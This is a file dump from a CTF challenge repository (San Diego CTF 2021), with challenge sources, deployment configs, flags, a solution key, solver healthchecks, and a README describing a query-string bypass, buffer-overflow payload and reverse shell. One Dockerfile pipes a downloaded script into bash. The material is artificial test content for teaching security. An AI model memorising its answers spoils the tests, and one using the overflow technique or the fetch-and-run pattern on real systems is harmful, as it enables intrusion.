is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:20.04 as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 17 | 18 | #change to your flag file name 19 | COPY flag.txt / 20 | #change to chal name 21 | COPY deploy.out /home/user/ 22 | 23 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 24 | 25 | COPY --from=chroot / /chroot 26 | 27 | COPY nsjail.cfg /home/user/ 28 | 29 | CMD kctf_setup && \ 30 | kctf_drop_privs \ 31 | socat \ 32 | TCP-LISTEN:1337,reuseaddr,fork \ 33 | #change to your challenge name 34 | EXEC:"nsjail --config /home/user/nsjail.cfg -- /home/user/deploy.out" 35 | -------------------------------------------------------------------------------- /rev/major-change-application/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | sdctf{I_f1nally_h@v3_@ccess_t0_Upp3r_d1v_c0ur535} 2 | -------------------------------------------------------------------------------- /rev/major-change-application/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "default-nsjail-configuration" 18 | description: "Default nsjail configuration for pwnable-style CTF task." 19 | 20 | mode: ONCE 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | mount: [ 30 | { 31 | src: "/chroot" 32 | dst: "/" 33 | is_bind: true 34 | }, 35 | { 36 | src: "/etc/resolv.conf" 37 | dst: "/etc/resolv.conf" 38 | is_bind: true 39 | } 40 | ] 41 | -------------------------------------------------------------------------------- /rev/major-change-application/spec.txt: -------------------------------------------------------------------------------- 1 | several iteration of LCG with seeds from Name, PID, email, time, etc. (Constraint need Z3 to solve) 2 | 3 | PID (student ID) format: 4 | 5 | H######## 6 | 7 | where # is a digit in 0-9 -------------------------------------------------------------------------------- /rev/major-change-application/xor-calc.py: -------------------------------------------------------------------------------- 1 | yes = b'yeet' 2 | 3 | pid_string_start = b'ONCE' 4 | 5 | LENGTH = 4 6 | 7 | def encrypt(plain): 8 | return bytes([((plain[i] ^ (pid_string_start[i] - i * i)) + i * i * i) % 256 for i in range(LENGTH)]) 9 | 10 | def decrypt(cipher): 11 | return bytes([((cipher[i] - i * i * i) ^ (pid_string_start[i] - i * i)) % 256 for i in range(LENGTH)]) 12 | 13 | print(encrypt(yes)) 14 | # assert decrypt(encrypt(yes)) == yes 15 | -------------------------------------------------------------------------------- /rev/una_acies/Makefile: -------------------------------------------------------------------------------- 1 | # Attachment 2 | 3 | all: challenge/una_acies.py una_acies.zip 4 | 5 | # Needed before deployment 6 | challenge/una_acies.py: una_acies_admin.py 7 | onelinerizer una_acies_admin.py challenge/una_acies.py 8 | 9 | una_acies.zip: challenge/una_acies.py example-flag.txt 10 | rm -f una_acies.zip 11 | zip una_acies.zip challenge/una_acies.py example-flag.txt 12 | printf "@ example-flag.txt\n@=flag.txt\n" | zipnote -w una_acies.zip 13 | printf "@ challenge/una_acies.py\n@=una_acies.py" | zipnote -w una_acies.zip 14 | 15 | clean: 16 | rm -f challenge/una_acies.py 17 | rm -f una_acies.zip 18 | 19 | .PHONY: deploy clean all 20 | -------------------------------------------------------------------------------- /rev/una_acies/README.md: -------------------------------------------------------------------------------- 1 | # una acies 2 | ## Reversing - Medium 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | RJ | none | **dot** from **Team ApesTogetherStrong** | 8 | 398 | 6 | 7 | ### prompt 8 | 'Tis an elegant Python poem. 9 | Thou shalt not reverse. 10 | 11 | Note: Please run the script using Python 2. 12 | 13 | Connect via: `nc acies.sdc.tf 1337` 14 | 15 | **attachments**: `una-acies: obfuscated script` 16 | ### original specification 17 | Use https://github.com/csvoss/onelinerizer to onelinerize a Python 2 script that checks a flag using XOR, perhaps with slightly more complication such as obfuscating variable names. 18 | 19 | Note: the name of the challenge is the Latin translation of "one line" 20 | 21 | **flag**: `sdctf{r0s3s_R_r3d,V101375_r_blu3,Pyth0n_3ntangl3s,&u_unr4v3l}` 22 | ### writeups 23 | - https://github.com/Sachin-23/ctf-writeups/tree/main/San_Diego_CTF/una_acies 24 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#una-acies 25 | - https://szymanski.ninja/en/ctfwriteups/2021/sdctf/una-acies/ 26 | -------------------------------------------------------------------------------- /rev/una_acies/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | #change to chal name 5 | name: una-acies 6 | spec: 7 | deployed: true 8 | powDifficultySeconds: 0 9 | network: 10 | public: true 11 | healthcheck: 12 | enabled: true 13 | image: eu.gcr.io/sdctf-2021/una-acies-healthcheck:63ef3be31dad40c9919a236784d74213f07d976d98e5de38ded4e88e8eb0a7ac 14 | image: eu.gcr.io/sdctf-2021/una-acies-challenge:7df06d08f8bf0d2ca0fe25e986e6ad9cbd4997c0d09d6069b06a2e089926a7eb 15 | -------------------------------------------------------------------------------- /rev/una_acies/challenge/.gitignore: -------------------------------------------------------------------------------- 1 | # Output one-linerized file 2 | una_acies.py -------------------------------------------------------------------------------- /rev/una_acies/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:20.04 as chroot 15 | 16 | RUN apt-get update -y && apt-get install -y python2 17 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 18 | 19 | #change to chal name 20 | COPY una_acies.py flag.txt /home/user/ 21 | 22 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 23 | 24 | COPY --from=chroot / /chroot 25 | 26 | COPY nsjail.cfg /home/user/ 27 | 28 | CMD kctf_setup && \ 29 | kctf_drop_privs \ 30 | socat \ 31 | TCP-LISTEN:1337,reuseaddr,fork \ 32 | #change to your challenge name 33 | EXEC:"nsjail --config /home/user/nsjail.cfg -- /usr/bin/env python2 una_acies.py" 34 | -------------------------------------------------------------------------------- /rev/una_acies/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | sdctf{r0s3s_R_r3d,V101375_r_blu3,Pyth0n_3ntangl3s,&u_unr4v3l} 2 | -------------------------------------------------------------------------------- /rev/una_acies/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "default-nsjail-configuration" 18 | description: "Default nsjail configuration for pwnable-style CTF task." 19 | 20 | mode: ONCE 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | cwd: "/home/user" 30 | 31 | mount: [ 32 | { 33 | src: "/chroot" 34 | dst: "/" 35 | is_bind: true 36 | }, 37 | { 38 | src: "/etc/resolv.conf" 39 | dst: "/etc/resolv.conf" 40 | is_bind: true 41 | } 42 | ] 43 | -------------------------------------------------------------------------------- /rev/una_acies/deployment-readme.txt: -------------------------------------------------------------------------------- 1 | zip-pack/ contains the content distributed to CTF participants (including the example flag). 2 | Please keep the content of the example flag sdctf{example_flag} 3 | 4 | Outside (una_acies_admin.py and flag.txt) is the files to be ran on the deployment server. 5 | Please use a harder to guess flag instead of sdctf{asdf} 6 | -------------------------------------------------------------------------------- /rev/una_acies/example-flag.txt: -------------------------------------------------------------------------------- 1 | sdctf{example_flag} -------------------------------------------------------------------------------- /rev/una_acies/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:06c6f051583b84d8dc4d77962256b7d1f1f247f405972e0649c821837b66c894 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 19 | -------------------------------------------------------------------------------- /rev/una_acies/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /rev/una_acies/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | 17 | import pwnlib 18 | 19 | # def handle_pow(r): 20 | # print(r.recvuntil(b'python3 ')) 21 | # print(r.recvuntil(b' solve ')) 22 | # challenge = r.recvline().decode('ascii').strip() 23 | # p = pwnlib.tubes.process.process(['kctf_bypass_pow', challenge]) 24 | # solution = p.readall().strip() 25 | # r.sendline(solution) 26 | # print(r.recvuntil(b'Correct\n')) 27 | 28 | r = pwnlib.tubes.remote.remote('127.0.0.1', 1337) 29 | # print(r.recvuntil('== proof-of-work: ')) 30 | # if r.recvline().startswith(b'enabled'): 31 | # handle_pow(r) 32 | 33 | r.sendline('48f%$n^##Sf^2pSvr3&rf$7qB4') 34 | 35 | print(r.recvuntil(b'sdctf{')) 36 | print(r.recvuntil(b'}')) 37 | 38 | exit(0) 39 | -------------------------------------------------------------------------------- /rev/una_acies/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /rev/una_acies/healthcheck/healthz_webserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | import http.server 17 | 18 | class HealthzHandler(http.server.BaseHTTPRequestHandler): 19 | def do_GET(self): 20 | if self.path != '/healthz': 21 | self.send_response(404) 22 | self.send_header("Content-length", "0") 23 | self.end_headers() 24 | return 25 | 26 | content = b'err' 27 | try: 28 | with open('/tmp/healthz', 'rb') as fd: 29 | content = fd.read().strip() 30 | except: 31 | pass 32 | self.send_response(200 if content == b'ok' else 400) 33 | self.send_header("Content-type", "text/plain") 34 | self.send_header("Content-length", str(len(content))) 35 | self.end_headers() 36 | self.wfile.write(content) 37 | 38 | httpd = http.server.HTTPServer(('', 45281), HealthzHandler) 39 | httpd.serve_forever() 40 | -------------------------------------------------------------------------------- /rev/una_acies/key.txt: -------------------------------------------------------------------------------- 1 | 48f%$n^##Sf^2pSvr3&rf$7qB4 2 | -------------------------------------------------------------------------------- /rev/una_acies/una_acies_admin.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python2 2 | from __future__ import print_function 3 | import sys 4 | 5 | def ok(test): 6 | x = 5 7 | for i in range(43): 8 | x = x | i ^ i*x + x 9 | return x 10 | 11 | def test2(): 12 | return str(ok(2)) 13 | 14 | def no(): 15 | k = 3 16 | for a in range(23): 17 | k = k | a*a << a%k*a ^ a*k 18 | return str(k) 19 | 20 | def why(a,b): 21 | return "".join([chr(ord(x) ^ ord(y)) for x,y in zip(str(a),b)]) 22 | 23 | def test(what): 24 | b = no() 25 | d = ok(5) 26 | j = test2() 27 | return ("nope", flag)[why(why(what,no()),test2()) == secret] 28 | 29 | secret = "7<`+'eX#&QcZ1zVrr2's`%>}B7" 30 | flag = open("flag.txt").read() 31 | 32 | try: 33 | while(True): 34 | print("Enter key: ", end="") 35 | sys.stdout.flush() 36 | u = raw_input() 37 | print(test(u)) 38 | sys.stdout.flush() 39 | except EOFError: 40 | pass 41 | -------------------------------------------------------------------------------- /web/apollo-1337/README.md: -------------------------------------------------------------------------------- 1 | # Apollo 1337 2 | ## Web Exploitation - Easy 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | KNOXDEV | none | **ziot** from **Team HackingForSoju** | 55 | 103 | 6 | 7 | ### prompt 8 | Hey there intern! We have a rocket launch scheduled for noon today and the launch interface is down. You'll need to directly use the API to launch the rocket. No, we don't have any documentation. And quickly, our shareholders are watching! 9 | 10 | https://space.sdc.tf 11 | 12 | ### original specification 13 | A space-themed website with a REST API with no documentation on how to use it, but the API will give very verbose errors on what is missing in your query, allowing you to reverse engineer the API and submit the correct query with the missing parameters. The punchline is that it will ask for a token as the final missing piece, which can only be found in minified JS source code. 14 | 15 | **flag**: `sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$}` 16 | ### writeups 17 | - https://securitytaters.info/solving-apollo-1337-from-san-diego-ctf-2021.html 18 | - https://github.com/3vilbuff3r/ctf-writeups/blob/master/sdctf-2021/web/appollo-1337.md 19 | - https://github.com/anandrajaram21/CTFs/blob/main/SanDiegoCTF/web/apollo-1337/writeup.md 20 | - https://github.com/thewhitecircle/ctf_writeups/blob/main/sdctf_2021/web.md#apollo-1337 21 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#Apollo-1337 22 | -------------------------------------------------------------------------------- /web/apollo-1337/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: apollo-1337 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: "HTTPS" 12 | targetPort: 1337 13 | healthcheck: 14 | # TIP: disable the healthcheck during development 15 | enabled: true 16 | image: eu.gcr.io/sdctf-2021/apollo-1337-healthcheck:7cc2cb8648a71ada784b31d025bbd6b80128273bb91a853629eeb4070e781a45 17 | image: eu.gcr.io/sdctf-2021/apollo-1337-challenge:9d8bcbc0b36ca62c316114be6acb9cb21c817e07cd8009a3841d583e6c4eb373 18 | -------------------------------------------------------------------------------- /web/apollo-1337/challenge/README.md: -------------------------------------------------------------------------------- 1 | # Apollo 1337 2 | 3 | **Category**: Web 4 | **Difficulty**: Easy 5 | **Author**: Aaron James 6 | 7 | ## Description 8 | 9 | Hey there intern! 10 | We have a rocket launch scheduled for noon today and the launch interface is down. 11 | You'll need to directly use the API to launch the rocket. No, we don't have any documentation. 12 | And quickly, our shareholders are watching! 13 | 14 | https://space.sdc.tf 15 | -------------------------------------------------------------------------------- /web/apollo-1337/challenge/data/flag.js: -------------------------------------------------------------------------------- 1 | export default 'sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$}'; 2 | -------------------------------------------------------------------------------- /web/apollo-1337/challenge/data/fuelPumps.js: -------------------------------------------------------------------------------- 1 | export default [ 2 | { name: 'west1 pump', id: 0, remaining: 12, status: 'active' }, 3 | { name: 'east1 pump', id: 1, remaining: 99, status: 'maintenance' }, 4 | { name: 'south1 pump', id: 2, remaining: 7, status: 'active' }, 5 | { name: 'north1 pump', id: 3, remaining: 60, status: 'maintenance' }, 6 | { name: 'west2 pump', id: 4, remaining: 88, status: 'active' }, 7 | { name: 'lil pump', id: 5, remaining: 69, status: 'terminated' }, 8 | ]; 9 | -------------------------------------------------------------------------------- /web/apollo-1337/challenge/data/token.js: -------------------------------------------------------------------------------- 1 | export default 'yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ'; 2 | -------------------------------------------------------------------------------- /web/apollo-1337/challenge/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "apollo-1337", 3 | "version": "1.0.0", 4 | "description": "explore the web API's like never before!", 5 | "main": "index.js", 6 | "scripts": { 7 | "dev": "next dev", 8 | "build": "next build", 9 | "start": "next telemetry disable && next start -p 1337" 10 | }, 11 | "author": "KNOXDEV", 12 | "license": "MIT", 13 | "dependencies": { 14 | "body-parser": "^1.19.0", 15 | "express": "^4.17.1", 16 | "next": "^10.0.5", 17 | "react": "^17.0.1", 18 | "react-dom": "^17.0.1" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /web/apollo-1337/challenge/pages/api/fuel/[id].js: -------------------------------------------------------------------------------- 1 | import fuelPumps from '../../../data/fuelPumps'; 2 | 3 | export default function handler(req, res) { 4 | const id = parseInt(req.query.id); 5 | if (id === null || id >= fuelPumps.length || id < 0) { 6 | res.send('invalid fuel pump id'); 7 | return; 8 | } 9 | 10 | res.json(fuelPumps[id]); 11 | } 12 | -------------------------------------------------------------------------------- /web/apollo-1337/challenge/pages/api/fuel/index.js: -------------------------------------------------------------------------------- 1 | import fuelPumps from '../../../data/fuelPumps'; 2 | 3 | export default function handler(req, res) { 4 | res.json(fuelPumps.map(pump => ({ name: pump.name, id: pump.id }))); 5 | } 6 | -------------------------------------------------------------------------------- /web/apollo-1337/challenge/pages/api/status.js: -------------------------------------------------------------------------------- 1 | export default function handler(req, res) { 2 | const status = { 3 | status: 'health', 4 | longStatus: 'Healthy. All routes are functioning properly.', 5 | version: '1.0.0', 6 | }; 7 | 8 | // if verbose is defined, enumerate the endpoints 9 | if (req.query.verbose) 10 | status.routes = [ 11 | { path: '/status', status: 'healthy' }, 12 | { path: '/rocketLaunch', status: 'healthy' }, 13 | { path: '/fuel', status: 'healthy' }, 14 | ]; 15 | 16 | // wait a whole ass second 17 | setTimeout(() => res.json(status), 1000); 18 | } 19 | -------------------------------------------------------------------------------- /web/apollo-1337/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:06c6f051583b84d8dc4d77962256b7d1f1f247f405972e0649c821837b66c894 15 | RUN apt-get update \ 16 | && apt-get -yq --no-install-recommends install python3-pip \ 17 | && rm -rf /var/lib/apt/lists/* \ 18 | && python3 -m pip install requests 19 | 20 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 21 | 22 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 23 | -------------------------------------------------------------------------------- /web/apollo-1337/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /web/apollo-1337/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | 17 | import requests 18 | 19 | r = requests.post('http://localhost:1337/api/rocketLaunch', json={'rocket': 'triton', 'launchTime': '12:00', 'pumpID': 4, 'token': 'yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ'}) 20 | 21 | if r.text == "rocket launched. sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$}": 22 | print('passed health check') 23 | exit(0) 24 | 25 | exit(1) 26 | -------------------------------------------------------------------------------- /web/apollo-1337/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /web/apollo-1337/healthcheck/healthz_webserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | import http.server 17 | 18 | class HealthzHandler(http.server.BaseHTTPRequestHandler): 19 | def do_GET(self): 20 | if self.path != '/healthz': 21 | self.send_response(404) 22 | self.send_header("Content-length", "0") 23 | self.end_headers() 24 | return 25 | 26 | content = b'err' 27 | try: 28 | with open('/tmp/healthz', 'rb') as fd: 29 | content = fd.read().strip() 30 | except: 31 | pass 32 | self.send_response(200 if content == b'ok' else 400) 33 | self.send_header("Content-type", "text/plain") 34 | self.send_header("Content-length", str(len(content))) 35 | self.end_headers() 36 | self.wfile.write(content) 37 | 38 | httpd = http.server.HTTPServer(('', 45281), HealthzHandler) 39 | httpd.serve_forever() 40 | -------------------------------------------------------------------------------- /web/gets-request/README.md: -------------------------------------------------------------------------------- 1 | # GETS Request 2 | ## Web Exploitation - Easy 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | KNOXDEV | none | **eris** from **Team IRS** | 23 | 234 | 6 | 7 | ### prompt 8 | Express.JS is an easy-to-use web framework, but Javascript/Typescript is too slow. C is a fast, low level language, but I was tired of debugging memory issues. Can I get the best out of both worlds by combining them? https://gets.sdc.tf 9 | 10 | ### original specification 11 | An Express.JS application that parses query strings incorrectly by relying on query.length <= BUFFER_SIZE security check where query is a query object and passes query.toString() to a backend C program using the vulnerable gets to get a string into a buffer of size BUFFER_SIZE. Since the default query string parser parses fancy stuff like objects or arrays. You can workaround the buffer size check by passing an array of size 1 in a request (http://example.com/?q[]=evilpayloadAAAAAAAAA%EF%BE%AD%DE), whose toString gives the string inside the array but length is 1 (length of array not string). This allows the participants to perform a buffer overflow attack on the C program and spawn a reverse shell, which will help them get the flag. 12 | 13 | **flag**: `sdctf{B3$T_0f-b0TH_w0rLds}` 14 | ### writeups 15 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#GETS-Request 16 | - https://github.com/thewhitecircle/ctf_writeups/blob/main/sdctf_2021/web.md#gets-request 17 | - https://hackmd.io/@jokr/sdctf-2021-gets-request 18 | - https://github.com/3vilbuff3r/ctf-writeups/blob/master/sdctf-2021/web/gets-request.md 19 | -------------------------------------------------------------------------------- /web/gets-request/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: gets-request 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: "HTTPS" 12 | targetPort: 1337 13 | healthcheck: 14 | # TIP: disable the healthcheck during development 15 | enabled: true 16 | image: eu.gcr.io/sdctf-2021/gets-request-healthcheck:4f5cb12b141d2a60b73ea3adf9e07d2eef77df27d1df4ec9f6d2c4fa8a27cb64 17 | image: eu.gcr.io/sdctf-2021/gets-request-challenge:415c674480c256f9d9288e39a885f8d7f83e51cf7d14799ea23521a20c8a8a43 18 | -------------------------------------------------------------------------------- /web/gets-request/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:lts-alpine AS base 2 | WORKDIR /app 3 | COPY package.json . 4 | COPY package-lock.json . 5 | 6 | FROM base AS dependencies 7 | RUN npm set progress=false && npm config set depth 0 8 | RUN npm install 9 | 10 | FROM gcc AS build 11 | COPY primegen.c . 12 | COPY Makefile . 13 | RUN make 14 | 15 | FROM ubuntu:20.04 as chroot 16 | RUN /usr/sbin/useradd -u 1000 user 17 | 18 | RUN apt-get update \ 19 | && apt-get install -yq --no-install-recommends \ 20 | curl ca-certificates socat gnupg lsb-release \ 21 | && curl -fsSL https://deb.nodesource.com/setup_lts.x | bash - \ 22 | && apt-get install -yq --no-install-recommends nodejs \ 23 | && rm -rf /var/lib/apt/lists/* 24 | 25 | WORKDIR /app 26 | COPY --from=dependencies /app/node_modules ./node_modules 27 | COPY --from=build /primegen . 28 | COPY index.js . 